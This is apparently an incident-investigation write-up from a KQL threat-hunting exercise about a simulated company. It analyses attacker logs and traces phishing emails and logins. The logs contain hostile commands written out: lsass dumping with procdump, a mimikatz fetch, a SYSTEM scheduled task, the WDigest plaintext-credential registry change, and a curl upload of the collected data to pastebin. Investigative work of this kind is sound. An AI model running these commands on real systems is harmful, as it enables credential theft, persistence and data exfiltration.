ANZL-LAPTOP 2022-01-08 14:07:18.8690 echo.exe a231816d9fcafada02d3562d759ffdcae0c743ebce782348554d3173da871b29 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe a231816d9fcafada02d3562d759ffdcae0c743ebce782348554d3173da871b29
ANZL-LAPTOP 2022-01-08 14:07:42.8690 echo.exe 29e164dfb369c5d83a0a46ab36787491f2c53ef8802b3ad37f098b2ca7a3b590 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe 29e164dfb369c5d83a0a46ab36787491f2c53ef8802b3ad37f098b2ca7a3b590
ANZL-LAPTOP 2022-01-08 14:08:05.8690 echo.exe 1b4a8067a9bc60a2f2e27cbc6d645040a3a9ca883c87a5c70f190c4b231aa609 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 1b4a8067a9bc60a2f2e27cbc6d645040a3a9ca883c87a5c70f190c4b231aa609
ANUP-DESKTOP 2022-01-06 10:29:50.7790 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 whoami cmd.exe 5fd13949d6a1f0ab9bc8a6424e63fdabe6f97b1587e47110a4ea5d56712786b3
ANUP-DESKTOP 2022-01-06 11:19:50.7790 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
ANUP-DESKTOP 2022-01-06 20:19:51.7790 cmd.exe e7b36aa7f0001aba291a9710da66ae184dd845a859404ac2e83e435dddae0632 ipconfigg cmd.exe e7b36aa7f0001aba291a9710da66ae184dd845a859404ac2e83e435dddae0632
ANUP-DESKTOP 2022-01-06 20:20:47.7790 cmd.exe 236deb2856cb371f02b6c529841ee8e716574f8a0cca61a3b73e57eab8a7b315 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 236deb2856cb371f02b6c529841ee8e716574f8a0cca61a3b73e57eab8a7b315
ANUP-DESKTOP 2022-01-06 20:21:30.7790 cmd.exe 8c78715098a389b1ac800b0c5e5044fa7bb491118ed3f572a5c4134e3e479d78 C:\Windows\system32\cmd.exe /C getsystem cmd.exe 8c78715098a389b1ac800b0c5e5044fa7bb491118ed3f572a5c4134e3e479d78
ANUP-DESKTOP 2022-01-06 20:22:05.7790 procdump64.exe bdc4ee739840c51c632429ae417a59a7a3be67bea747791e2dd5668242447909 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe bdc4ee739840c51c632429ae417a59a7a3be67bea747791e2dd5668242447909
ANUP-DESKTOP 2022-01-06 20:22:06.7790 ipconfig.exe 804a9e3ad5ce484aaacd02fc139a4530c6119c89e741a5000fbc647ec0403ea5 ipconfig /all ipconfig.exe 804a9e3ad5ce484aaacd02fc139a4530c6119c89e741a5000fbc647ec0403ea5
ANUP-DESKTOP 2022-01-06 20:22:07.7790 echo.exe afb386464fea7747d7e89b9417598020741fb9cc75a6f29a804e6fa2b66e21be echo GET mimikatz.exe >> ftp.txt echo.exe afb386464fea7747d7e89b9417598020741fb9cc75a6f29a804e6fa2b66e21be
ANUP-DESKTOP 2022-01-06 20:23:01.7790 echo.exe 37a875acd4fe26feab910a4a9d50d1a8cebf4e347256bbace336ef9aabc7be51 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 37a875acd4fe26feab910a4a9d50d1a8cebf4e347256bbace336ef9aabc7be51
ANUP-DESKTOP 2022-01-06 20:23:37.7790 echo.exe 5bfd2d4448847fd63d4923bdd15d38f8bdd37901e1b8c5743f602e1022269cd9 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 5bfd2d4448847fd63d4923bdd15d38f8bdd37901e1b8c5743f602e1022269cd9
ANUP-DESKTOP 2022-01-06 20:24:02.7790 echo.exe 182adf1533cdd751d4ab395d9d2cf4c741235e6cdc2bf0fdac6e1979b1f14d25 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe 182adf1533cdd751d4ab395d9d2cf4c741235e6cdc2bf0fdac6e1979b1f14d25
ANUP-DESKTOP 2022-01-06 20:24:38.7790 echo.exe ea68915501ef568ba81a4ea79d2c6255a6b990135546a0bd1a7ab0b21f537730 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe ea68915501ef568ba81a4ea79d2c6255a6b990135546a0bd1a7ab0b21f537730
8IMM-LAPTOP 2022-01-06 10:55:43.3190 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 net user Administratr cmd.exe b4c614f1d257e046b43157b990747d169840b37138d39afaf4b75b793e62c20d
8IMM-LAPTOP 2022-01-06 11:01:43.3190 updater.dll 1dc1dbfc1d636fed5cebe43787a7abf2df4fbb51e1beaec34ba72dd5152edc81 schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
8IMM-LAPTOP 2022-01-07 05:02:24.3190 cmd.exe 11d32f6e81a86373a9ae6c60a13024258614553cadaa9a5f44d6c381391545fb ipconfigg cmd.exe 11d32f6e81a86373a9ae6c60a13024258614553cadaa9a5f44d6c381391545fb
8IMM-LAPTOP 2022-01-07 05:02:46.3190 cmd.exe d0f9750adc55e5059bfd6931c949da4e783611d60656f23e86b8f2af395fdb2b C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe d0f9750adc55e5059bfd6931c949da4e783611d60656f23e86b8f2af395fdb2b
8IMM-LAPTOP 2022-01-07 05:03:33.3190 cmd.exe 34d9d2e79943708c462eb0c1968a8dfa4f6df7ddd1cb9d520f3008488cbc154a C:\Windows\system32\cmd.exe /C getsystem cmd.exe 34d9d2e79943708c462eb0c1968a8dfa4f6df7ddd1cb9d520f3008488cbc154a
8IMM-LAPTOP 2022-01-07 05:03:44.3190 procdump64.exe d4b200a0da2f9980ace5c763fd1aba6acb6ffccfcc2ff4f4d6c0e54d4d610945 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe d4b200a0da2f9980ace5c763fd1aba6acb6ffccfcc2ff4f4d6c0e54d4d610945
8IMM-LAPTOP 2022-01-07 05:04:15.3190 ipconfig.exe 79c74a078026dc3616ed28483fa14b8b9a91818893e0501fb6a5fee3750566a ipconfig /all ipconfig.exe 79c74a078026dc3616ed28483fa14b8b9a91818893e0501fb6a5fee3750566a
8IMM-LAPTOP 2022-01-07 05:04:39.3190 echo.exe 5d88da25b8e35449d6b4b2cd782506b496f841cd33b4db1a2b363673d7271aa4 echo GET mimikatz.exe >> ftp.txt echo.exe 5d88da25b8e35449d6b4b2cd782506b496f841cd33b4db1a2b363673d7271aa4
8IMM-LAPTOP 2022-01-07 05:05:29.3190 echo.exe 401edf190c45ea2067e73b70e8050d09c349f6ff8d4c396c1d907010fb16dadd copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 401edf190c45ea2067e73b70e8050d09c349f6ff8d4c396c1d907010fb16dadd
8IMM-LAPTOP 2022-01-07 05:05:33.3190 echo.exe 8a22d7b11834f6f3a5caa3f0e3f400de97e29c86e409abb6ff34a4fc0e9da257 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 8a22d7b11834f6f3a5caa3f0e3f400de97e29c86e409abb6ff34a4fc0e9da257
8IMM-LAPTOP 2022-01-07 05:05:48.3190 echo.exe 2a9cd1bc57a650f49a46e714cc6759fb72bc5ed750aaca01c2635a6473c12ec0 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe 2a9cd1bc57a650f49a46e714cc6759fb72bc5ed750aaca01c2635a6473c12ec0
8IMM-LAPTOP 2022-01-07 05:06:32.3190 echo.exe 967b3d0a6ad918c3abfce5220914b2a5d9b518c00410a5944446f18882e9b7df curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 967b3d0a6ad918c3abfce5220914b2a5d9b518c00410a5944446f18882e9b7df
4P7P-DESKTOP 2022-01-08 12:35:37.8990 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 ping 8.8.8.8 ping.exe 47e06b337d2e78cb6957bb34032508084d11106bd5a5321e9fd12995a4648fe4
4P7P-DESKTOP 2022-01-08 13:13:37.8990 updater.dll 09704c11681590ec76715c1a07f342d187c34965f122911037a18433409cdd99 reg add HKLM\SYSTEM\CurrentCOntroLSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f cmd.exe 2517b45d66352aec3c7498ef850e846200b06f97f0d466fb29009f02c9feb699
4P7P-DESKTOP 2022-01-09 07:13:52.8990 cmd.exe 67c2c03ab6ed35d623f55825ead1f10ec78b5825a06a39a91eaa7048e672e126 ipconfigg cmd.exe 67c2c03ab6ed35d623f55825ead1f10ec78b5825a06a39a91eaa7048e672e126
4P7P-DESKTOP 2022-01-09 07:14:12.8990 cmd.exe 25a377bb25168dcde8c2707b3a54b3a1ba91813868fd69260a815960ccd99ad7 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 25a377bb25168dcde8c2707b3a54b3a1ba91813868fd69260a815960ccd99ad7
4P7P-DESKTOP 2022-01-09 07:14:32.8990 cmd.exe f4acb879dce5612acec82414ce056b83bb9b3e8a514b09385b64d1c3c23ae016 C:\Windows\system32\cmd.exe /C getsystem cmd.exe f4acb879dce5612acec82414ce056b83bb9b3e8a514b09385b64d1c3c23ae016
4P7P-DESKTOP 2022-01-09 07:15:32.8990 procdump64.exe d527eb2042aee484ad1e5442992e3192b0ccdb611ad91692b4355adb60caace C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe d527eb2042aee484ad1e5442992e3192b0ccdb611ad91692b4355adb60caace
4P7P-DESKTOP 2022-01-09 07:16:22.8990 ipconfig.exe d8d4062191e742353bd0537066f05b4891d03875e6d2342c4752d34f77ab00f9 ipconfig /all ipconfig.exe d8d4062191e742353bd0537066f05b4891d03875e6d2342c4752d34f77ab00f9
4P7P-DESKTOP 2022-01-09 07:16:55.8990 echo.exe d7c02efe38aeff40cfd8c19894112e580ff4220d07302fd3eceab79fbae0b1ef echo GET mimikatz.exe >> ftp.txt echo.exe d7c02efe38aeff40cfd8c19894112e580ff4220d07302fd3eceab79fbae0b1ef
4P7P-DESKTOP 2022-01-09 07:17:45.8990 echo.exe c751108d7dfb0aa69246b9c78cdb1f779665f725522c543e5d0ef1e524c91267 copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe c751108d7dfb0aa69246b9c78cdb1f779665f725522c543e5d0ef1e524c91267
4P7P-DESKTOP 2022-01-09 07:18:45.8990 echo.exe a102f4a073d5d75deb0c050524a147f82045f2039159dd3a75eb37566166d0e3 copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe a102f4a073d5d75deb0c050524a147f82045f2039159dd3a75eb37566166d0e3
4P7P-DESKTOP 2022-01-09 07:19:26.8990 echo.exe ec15639de190adfe27eb3e3fe94d4ac9314e76db8328824611f165ea45f8c637 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe ec15639de190adfe27eb3e3fe94d4ac9314e76db8328824611f165ea45f8c637
4P7P-DESKTOP 2022-01-09 07:20:20.8990 echo.exe c34a6a87c8287a311d0da9764f1afe9d5dec04e64286cbf11c611f9d802daf39 curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe c34a6a87c8287a311d0da9764f1afe9d5dec04e64286cbf11c611f9d802daf39
0IUI-LAPTOP 2022-01-04 08:56:17.2570 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b ping 8.8.8.8 ping.exe 47e06b337d2e78cb6957bb34032508084d11106bd5a5321e9fd12995a4648fe4
0IUI-LAPTOP 2022-01-04 08:59:17.2570 updater.dll 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b schtasks /create /sc minute /mo 1 /tn "ttttask" /tr C:\Windows\system32\infector.exe /ru "SYSTEM" schtasks.exe efb9a88c6269d15da7b7c15e47365691d1154a47f8f19025d0a98163f40a0dab
0IUI-LAPTOP 2022-01-05 00:00:16.2570 cmd.exe a03709708ea15a5f5d3f2f9f6503d20d426a887a38565191230c8e0d37c656f6 ipconfigg cmd.exe a03709708ea15a5f5d3f2f9f6503d20d426a887a38565191230c8e0d37c656f6
0IUI-LAPTOP 2022-01-05 00:00:21.2570 cmd.exe 13caeb618d4712eeba228ac48cb85e436bab14a22919a1737fce15705788d688 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp cmd.exe 13caeb618d4712eeba228ac48cb85e436bab14a22919a1737fce15705788d688
0IUI-LAPTOP 2022-01-05 00:01:09.2570 cmd.exe 97107b3e9f4e88616d7f087c32a9cb6ebea775ac193c5a15eec566e024470f4c C:\Windows\system32\cmd.exe /C getsystem cmd.exe 97107b3e9f4e88616d7f087c32a9cb6ebea775ac193c5a15eec566e024470f4c
0IUI-LAPTOP 2022-01-05 00:02:07.2570 procdump64.exe f93548a2e16c813b4a4ab1419368d619fe711f1fb98299a81b39fe46dea64179 C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp procdump64.exe f93548a2e16c813b4a4ab1419368d619fe711f1fb98299a81b39fe46dea64179
0IUI-LAPTOP 2022-01-05 00:02:40.2570 ipconfig.exe 7a6dabca4c22120b134f2d3dcb15b617b8ea7d979b3c1b10bf1e8f5174d53c75 ipconfig /all ipconfig.exe 7a6dabca4c22120b134f2d3dcb15b617b8ea7d979b3c1b10bf1e8f5174d53c75
0IUI-LAPTOP 2022-01-05 00:02:45.2570 echo.exe 72e7c6ae9b1d248747bb14d7f100d0256b35bfc5a59dff6147ced1fe64d6dccd echo GET mimikatz.exe >> ftp.txt echo.exe 72e7c6ae9b1d248747bb14d7f100d0256b35bfc5a59dff6147ced1fe64d6dccd
0IUI-LAPTOP 2022-01-05 00:03:45.2570 echo.exe 582089573038f9db241b713982fb5b3656e5aec343760f301b5a5e572895271c copy C:\Users\Public\Documents\* F:\exfil\Users\ echo.exe 582089573038f9db241b713982fb5b3656e5aec343760f301b5a5e572895271c
0IUI-LAPTOP 2022-01-05 00:04:43.2570 echo.exe 56aee2cdbce9a510213dca04aff9684aa724d5ca7c23d7a53c8cb5c60216106f copy C:\Users\Public\Downloads\* F:\exfil\Users\ echo.exe 56aee2cdbce9a510213dca04aff9684aa724d5ca7c23d7a53c8cb5c60216106f
0IUI-LAPTOP 2022-01-05 00:05:09.2570 echo.exe 846507c18e3c51bb47e03a10c1eee316b8bde492bae8ce318384056baf70b725 copy C:\Users\Public\Research\* F:\exfil\Users\ echo.exe 846507c18e3c51bb47e03a10c1eee316b8bde492bae8ce318384056baf70b725
0IUI-LAPTOP 2022-01-05 00:05:22.2570 echo.exe 2c6ef3b6f28b27dcdd63f198cffdbc3b8741e654655ddf18e40df19ba624759e curl F:\exfil\full.gz https://pastebin.com/mZ38bYLt:/NotCompanySecrets.gz echo.exe 2c6ef3b6f28b27dcdd63f198cffdbc3b8741e654655ddf18e40df19ba624759e

All affected hostnames had malicious commands executed. In general, all of them:

  1. Ran any of these discovery commands:
    • whoami: Displays user, group and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and user name. [Microsoft Learn].
    • ipconfig /all: Displays the full TCP/IP configuration for all adapters. Adapters can represent physical interfaces, such as installed network adapters, or logical interfaces, such as dial-up connections. [Microsoft Learn]
    • ping: Verifies IP-level connectivity to another TCP/IP computer by sending Internet Control Message Protocol (ICMP) echo Request messages. [It is] the primary TCP/IP command used to troubleshoot connectivity, reachability, and name resolution. [Microsoft Learn]. They check against Google's 8.8.8.8
    • net user: [...] displays a list of all user accounts for the local computer. [Microsoft Learn]. They tried to check for Administator accounts, but mistyped the command.
  2. Created a scheduled task that ran once a minute, executing a file named infector.exe as SYSTEM; this file is located in the system32 folder.
  3. Used procdump64.exe, a legitimate SysInternals utility to create process dumps; in this case, of lsass.exe (Windows' Local Security Authority Subsystem Service).
  4. Used CobaltStrike's /C getsystem to obtain SYSTEM privileges. The parent process is cmd.exe.
  5. Used mimikatz.exe, a credential dumping utility [Official Github].
  6. Copied all contents of the Public Documents, Downloads and Research folders to F:\exfil\Users\
  7. Copied the data (after compressing to a .gz file) to Pastebin.com, a legitimate text storage site frequently used by threat actors; in our case, they've used it for data exfiltration.

In some specific devices, they ran these commands in addition to the previously-examined:

  1. reg add HKLM\SYSTEM\CurrentCOntroLSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f: In the hostnames belonging to Marketing associate Michael Chambers (ANZL-LAPTOP), Lab Technician Mary Steele (4P7P-DESKTOP), and IT associate Tyler Sealock (PSB0-LAPTOP).
  2. net user Administratr [sic]: In the hostnames belonging to Lab Technician James Garvey (8IMM-LAPTOP), Marketing associate Michael Chambers (ANZL-LAPTOP), IT associate Tyler Sealock (PSB0-LAPTOP), Finance associate Alice Hooser (HYV7-LAPTOP), IT associate Scott Cayo (M491-LAPTOP), Human Resources associate Diane Rhodes (WNUE-LAPTOP)
  3. updater.dll -p <IPADDR:PORT>: In the hostnames belonging to IT associate Terry Simpson (DLY5-DESKTOP) (IP 199.57.49.250, port 8888), Finance associate Alice Hooser (HYV7-LAPTOP) (IP 210.97.157.245, port 8888), IT associate Scott Cayo (M491-LAPTOP) (IP 181.190.66.175, port 8888). These addresses are among the discovered IPs in [8].

The threat actor didn't seem to do anything else in the system according to the logs, seemingly content with exfiltrating proprietary information, company research, and whatever personal information might've been caught in the sweep.

However, there are reports of another, unrelated campaign that ocurred just three days later. This case will be explored in the next section.

Section 3 - Phishing and More

Two Envolve Labs employees received emails from a QQ.com account; this email provider is owned by the Chinese company Tencent, and it's also available in English. This is already quite suspicious. These emails contain a url to a clan.io webpage.

Email
| where * has "clan.io"
Query Results
event_time sender reply_to recipient subject accepted link
2022-01-08 12:21:56.3080 gaara@qq.com gaara@qq.com verna_fleeger@envolvelabs.com 50% discount on Naruto anime this weekend true https://clan.io/public/search/files/enter
2022-01-08 12:21:56.3080 gaara@qq.com gaara@qq.com erica_wilson@envolvelabs.com 50% discount on Naruto anime this weekend true https://clan.io/public/search/files/enter

The attackers must've done research on these employees--Erica Wilson (Finance Associate) and Verna Fleeger (Medical Researcher)--as their subject matter is wholly unrelated to their jobs or the company itself, instead posing as a seller of Naruto merchandise (a popular manga and anime series). I confirmed if either of them clicked the link with:

Email
| where link has "clan.io"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct ip_addr
| lookup OutboundBrowsing on $left.ip_addr == $right.src_ip
| where url has "clan.io"
| lookup Employees on $left.ip_addr == $right.ip_addr
| distinct timestamp, url, role, name, ip_addr
Query Results
timestamp url role name ip_addr
2022-01-08 12:27:53.3080 https://clan.io/public/search/files/enter Finance associate Erica Wilson 192.168.1.219

Only Finance Associate Erica Wilson clicked it; since it's clearly a fake login page, it's likely her credentials were stolen and used to log into her corporate account. To check this, I edit the previous KQL query into this:

Email
| where link has "clan.io"
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| distinct ip_addr
| lookup OutboundBrowsing on $left.ip_addr == $right.src_ip
| where url has "clan.io"
| lookup Employees on $left.ip_addr == $right.ip_addr
| distinct username
| lookup AuthenticationEvents on $left.username == $right.username
| where src_ip != "192.168.1.219" //Erica's IP
Query Results
username timestamp hostname src_ip user_agent result password_hash
erwilson 2022-01-09 11:07:53.3080 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_12_9; rv:1.9.6.20) Gecko/2011-12-27 20:04:12 Firefox/5.0 Successful Login 3c8bde69-0984-9e46-abac-4d0db24b776b

There's indeed a successful login roughly a day after Erica clicked the link; the IP address and user agent aren't Erica's usual. It will do good to check for this IP address elsewhere; a query such as search "223.80.243.56" shows that the IP appears in three other tables: AuthenticationEvents (multiple times besides Erica's account), InboundBrowsing and PassiveDns. Let's check them in order:

AuthenticationEvents
| where src_ip == "223.80.243.56"
| where result has "successful"
Query Results
timestamp hostname src_ip user_agent username result password_hash
2022-01-04 09:22:20.4090 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 14_2 like Mac OS X) AppleWebKit/533.0 (KHTML, like Gecko) FxiOS/11.7j4192.0 Mobile/54M159 Safari/533.0 cadornier Successful Login 572d72d9-c048-1595-eabc-b92f72840c64
2022-01-04 13:55:43.4090 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/2015-08-03 22:14:19 Firefox/14.0 alhooser Failed Login 7520ea6d-eee9-3da5-7e45-f1c00b987ac3
2022-01-04 15:08:25.4090 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Windows 98; hy-AM; rv:1.9.0.20) Gecko/2012-01-16 19:47:27 Firefox/3.6.5 sacombs Successful Login 3611f6cf-dd8e-5904-b855-e6e2bb16f075
2022-01-05 08:37:01.4090 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Android 6.0.1; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0 jobailey Failed Login 7134b491-da03-e2d8-8132-1b58f1ab5a1c
2022-01-06 09:19:14.0980 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1; rv:1.9.3.20) Gecko/2018-07-21 01:04:44 Firefox/3.6.18 dorhew Failed Login 72ff30e9-b92f-7034-4972-9ac22061899d
2022-01-06 11:00:59.5180 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/536.0 (KHTML, like Gecko) FxiOS/18.9x1945.0 Mobile/54O317 Safari/536.0 damartin Successful Login e268d152-f2d5-13be-04ea-873d1a6a99fe
2022-01-06 11:25:14.5180 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/2015-12-21 17:25:44 Firefox/3.8 jastanfill Failed Login ae03b3eb-7294-f042-f48c-a650c6d9d197
2022-01-07 19:30:22.3880 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Windows 98; Win 9x 4.90; uk-UA; rv:1.9.1.20) Gecko/2010-07-10 08:54:01 Firefox/3.6.9 maferris Successful Login ed9581a8-f05e-c885-bb7b-b178ef882a55
2022-01-07 21:52:10.1890 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Android 4.4.2; Mobile; rv:60.0) Gecko/60.0 Firefox/60.0 jequerta Failed Login 884b2727-2a4d-e57a-a9a0-e2e85a63a945
2022-01-07 23:11:25.1890 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Android 10; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0 blwelsh Successful Login 8b7c9c2e-885c-d5fd-4be9-289548f8cdee
2022-01-08 06:42:32.3880 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/2011-12-08 00:56:05 Firefox/3.8 jotalley Successful Login 42988eee-af9d-054a-f35b-48008c881375
2022-01-08 10:20:09.3880 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/2019-05-02 21:34:38 Firefox/3.6.7 raclark Failed Login c8cfa607-0c97-d865-8fc4-bff159d97d73
2022-01-09 03:29:24.3670 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 12_4_8 like Mac OS X) AppleWebKit/536.2 (KHTML, like Gecko) FxiOS/12.9x5433.0 Mobile/53I267 Safari/536.2 sutinajero Failed Login 7e39fef3-6015-833b-080f-3306b14fdce4
2022-01-09 05:31:11.3670 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_9_4; rv:1.9.3.20) Gecko/2017-01-23 12:35:24 Firefox/3.8 jasexton Failed Login 65e07787-6b9c-128f-c729-ca5c00bd41a6
2022-01-09 10:20:58.3670 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (iPad; CPU iPad OS 14_2 like Mac OS X) AppleWebKit/533.2 (KHTML, like Gecko) FxiOS/10.7q9704.0 Mobile/94U615 Safari/533.2 reblackman Failed Login eff70a7f-e881-63d3-2b03-6e02686922b9
2022-01-09 11:07:53.3080 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_12_9; rv:1.9.6.20) Gecko/2011-12-27 20:04:12 Firefox/5.0 erwilson Successful Login 3c8bde69-0984-9e46-abac-4d0db24b776b
2022-01-09 13:30:48.3670 MAIL-SERVER01 223.80.243.56 Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/2014-08-12 14:36:44 Firefox/8.0 mapatterson Successful Login 03068e9d-f1a7-eb0c-2178-ab8ba67c5185

There are 17 login attempts, 9 failed and 8 successful. The employees that had their accounts compromised are as follows:

AuthenticationEvents
| where src_ip == "223.80.243.56"
| where result has "successful"
| distinct username
| lookup Employees on $left.username == $right.username
| distinct role, name, username, email_addr, hostname
Query Results
role name username email_addr hostname
IT associate Blake Welsh blwelsh blake_welsh@envolvelabs.com LOGH-DESKTOP
Trial Administrator Sarah Combs sacombs sarah_combs@envolvelabs.com OSTJ-DESKTOP
Human Resources associate Margaret Ferris maferris margaret_ferris@envolvelabs.com UWF6-LAPTOP
Trial Administrator David Martin damartin david_martin@envolvelabs.com IDRP-MACHINE
Trial Administrator Catherine Dornier cadornier catherine_dornier@envolvelabs.com BVCV-MACHINE
Finance associate Mariana Patterson mapatterson mariana_patterson@envolvelabs.com MWTW-DESKTOP
Marketing associate Joseph Talley jotalley joseph_talley@envolvelabs.com SEYU-LAPTOP
Finance associate Erica Wilson erwilson erica_wilson@envolvelabs.com MSFR-LAPTOP

Most were Trial Administators (3), followed by Finance Associates (2) and Human Resources, IT and Marketing Associates (1 each). Other targeted roles include two Lab Technicians (unsuccesful login); otherwise the numbers and proportions remain similar.

The next table I decide to check is PassiveDns, as it can uncover more domains and IP addresses the threat actors might be using. A query like...

PassiveDns
| where ip == "223.80.243.56"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
Query Results
domain
clan.io
clan-activists.tk
arbiters-tail.info
downfall.org
downfall-sage.info
villagechakra.com
downfall-coxes.com
lexicographical.com
clan-lexicographical.org
lexicographical.info

...uncovers 10 distinct domains, and appending an extra lookup like this...

PassiveDns
| where ip == "223.80.243.56"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
Query Results
ip
42.10.189.5
223.80.243.56
34.24.65.117
198.92.221.168
57.217.134.84
27.52.61.125
213.200.127.43
219.0.39.167

...uncovers 8 distinct IP addresses. Additional nested lookups fail to uncover any new domains or IPs. This information can be used to investigate this campaign further.

Checking AuthenticationEvents again to see if any of these newly-discovered IPs also attempted to log into corporate accounts reveals that only IP 223.80.243.56 was involved. Checking for malicious domains against the Email table, however, reveals this:

let bad_domain =
PassiveDns
| where ip == "223.80.243.56"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain in (bad_domain)
| distinct ip;
Email
| where tostring(parse_url(link).Host) in (bad_domain)
Query Results
event_time sender reply_to recipient subject accepted link
2022-01-05 09:59:39.5180 tenen_tenen@aol.com tenen_tenen@aol.com david_martin@envolvelabs.com This Sasuke cosplay will make you look dreamy! true http://downfall.org/images/auth
2022-01-05 09:59:39.5180 tenen_tenen@aol.com tenen_tenen@aol.com jaime_stanfill@envolvelabs.com This Sasuke cosplay will make you look dreamy! true http://downfall.org/images/auth
2022-01-07 13:16:31.8990 tenen_tenen@aol.com tenen_tenen@aol.com sue_jordan@envolvelabs.com This Sasuke cosplay will make you look dreamy! false https://lexicographical.info/modules/login.html
2022-01-07 13:16:31.8990 tenen_tenen@aol.com tenen_tenen@aol.com bobby_painter@envolvelabs.com This Sasuke cosplay will make you look dreamy! true https://lexicographical.info/modules/login.html
2022-01-08 12:21:56.3080 gaara@qq.com gaara@qq.com verna_fleeger@envolvelabs.com 50% discount on Naruto anime this weekend true https://clan.io/public/search/files/enter
2022-01-08 12:21:56.3080 gaara@qq.com gaara@qq.com erica_wilson@envolvelabs.com 50% discount on Naruto anime this weekend true https://clan.io/public/search/files/enter

Days before Erica Wilson and Verna Fleeger were targeted, so were Trial Administrator David Martin, Finance Associate Jaime Stanfill, Medical Researcher Sue Jordan and Marketing Associate Bobby Painter. Of these, only David Martin was compromised (see [19]). There's a new threat actor email address: tenen_tenen@aol.com. Only one of the emails was blocked by our filter: the one intended for Sue Jordan.

Finally, we can check InboundBrowsing with the known malicious IPs to find hints of recon by the threat actor.

let bad_domain =
PassiveDns
| where ip == "223.80.243.56"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip
| lookup PassiveDns on $left.ip == $right.ip
| distinct domain;
let bad_ips =
PassiveDns
| where domain in (bad_domain)
| distinct ip;
InboundBrowsing
| where src_ip in (bad_ips)
Query Results
timestamp method src_ip user_agent url
